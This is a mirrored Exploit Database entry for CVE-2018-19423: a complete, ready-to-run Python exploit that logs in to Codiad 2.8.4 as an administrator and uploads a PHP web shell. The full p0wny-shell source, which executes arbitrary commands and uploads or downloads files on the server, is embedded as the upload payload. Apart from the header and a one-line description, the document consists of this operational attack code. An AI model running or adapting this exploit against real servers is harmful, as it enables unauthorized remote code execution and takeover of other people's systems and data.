Codiad 2.8.4 – Remote Code Execution (Authenticated) (3)

• Exploit Database
• 40 阅读

• 作者： Ron Jost
  日期： 2021-05-26
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49907/

• # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3)
  # Date: 24.05.2021
  # Exploit Author: Ron Jost (Hacker5preme)
  # Vendor Homepage: http://codiad.com/
  # Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4
  # Version: 2.8.4
  # Tested on Xubuntu 20.04
  # CVE: CVE-2018-19423
  
  '''
  Description:
  Codiad 2.8.4 allows remote authenticated administrators to execute arbitrary code by uploading an executable file.
  '''
  
  
  '''
  Import required modules:
  '''
  import requests
  import json
  import time
  import sys
  import urllib.parse
  
  '''
  User Input:
  '''
  target_ip = sys.argv[1]
  target_port = sys.argv[2]
  username = sys.argv[3]
  password = sys.argv[4]
  codiadpath = input('Please input the path of Codiad( for example: / ): ')
  projectname = input('Please input the name of the actual project: ')
  
  
  
  '''
  Get cookie
  '''
  session = requests.Session()
  link = 'http://' + target_ip + ':' + target_port + codiadpath
  response = session.get(link)
  cookies_session = session.cookies.get_dict()
  cookie = json.dumps(cookies_session)
  cookie = cookie.replace('"}','')
  cookie = cookie.replace('{"', '')
  cookie = cookie.replace('"', '')
  cookie = cookie.replace(" ", '')
  cookie = cookie.replace(":", '=')
  
  
  '''
  Authentication:
  '''
  # Compute Content-Length:
  base_content_len = 45
  username_encoded = urllib.parse.quote(username, safe='')
  username_encoded_len = len(username_encoded.encode('utf-8'))
  password_encoded = urllib.parse.quote(password, safe='')
  password_encoded_len = len(password_encoded.encode('utf-8'))
  content_len = base_content_len + username_encoded_len + password_encoded_len
  
  # Header:
  header = {
  'Host': target_ip,
  'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
  'Accept': '*/*',
  'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  'Accept-Encoding': 'gzip, deflate',
  'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
  'X-Requested-With': 'XMLHttpRequest',
  'Content-Length': str(content_len),
  'Origin': 'http://' + target_ip + ':' + target_port,
  'Connection': 'close',
  'Referer': 'http://' + target_ip + ':' + target_port + '/',
  'Cookie': cookie
  }
  
  # Body:
  body = {
  'username': username,
  'password': password,
  'theme': 'default',
  'language': 'en'
  }
  
  # Post authentication request:
  link_base = 'http://' + target_ip + ':' + target_port + codiadpath
  link_auth = link_base + 'components/user/controller.php?action=authenticate'
  print('')
  print('Posting authentication request: ')
  auth = requests.post(link_auth, headers=header, data=body)
  print('Response: ')
  print(auth.text)
  time.sleep(2)
  
  
  '''
  Upload Webshell:
  '''
  # Construct Header:
  header = {
  'Host': target_ip,
  'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  'Accept-Encoding': 'gzip, deflate',
  "Content-Type": "multipart/form-data; boundary=---------------------------289777152427948045812862014674",
  'Connection': 'close',
  'Cookie': cookie,
  'Upgrade-Insecure-Requests': '1'
  }
  
  # Construct Shell Payload: https://github.com/flozz/p0wny-shell
  data = "\r\n\r\n\r\n-----------------------------289777152427948045812862014674\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xc3\xa2\xc2\x80\xc2\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------289777152427948045812862014674--\r\n"
  
  #Construct link and posting request which will upload the file:
  link_exploit = link_base + 'components/filemanager/controller.php?action=upload&path=/var/www/html/data/' + projectname
  print('')
  print('Posting request wich will upload the file: ')
  exploit = requests.post(link_exploit, headers=header, data=data)
  print('Response:')
  print(exploit.text)
  time.sleep(2)
  
  
  '''
  Finish:
  '''
  print('')
  print('File uploaded except you got an error message before. If so please run this program again and correct your',
  'mistakes!')
  print('')
  print('Path of file on the server: http://' + target_ip + ':' + target_port + codiadpath + '/data/' + projectname + '/' + 'shell.php')
  print('')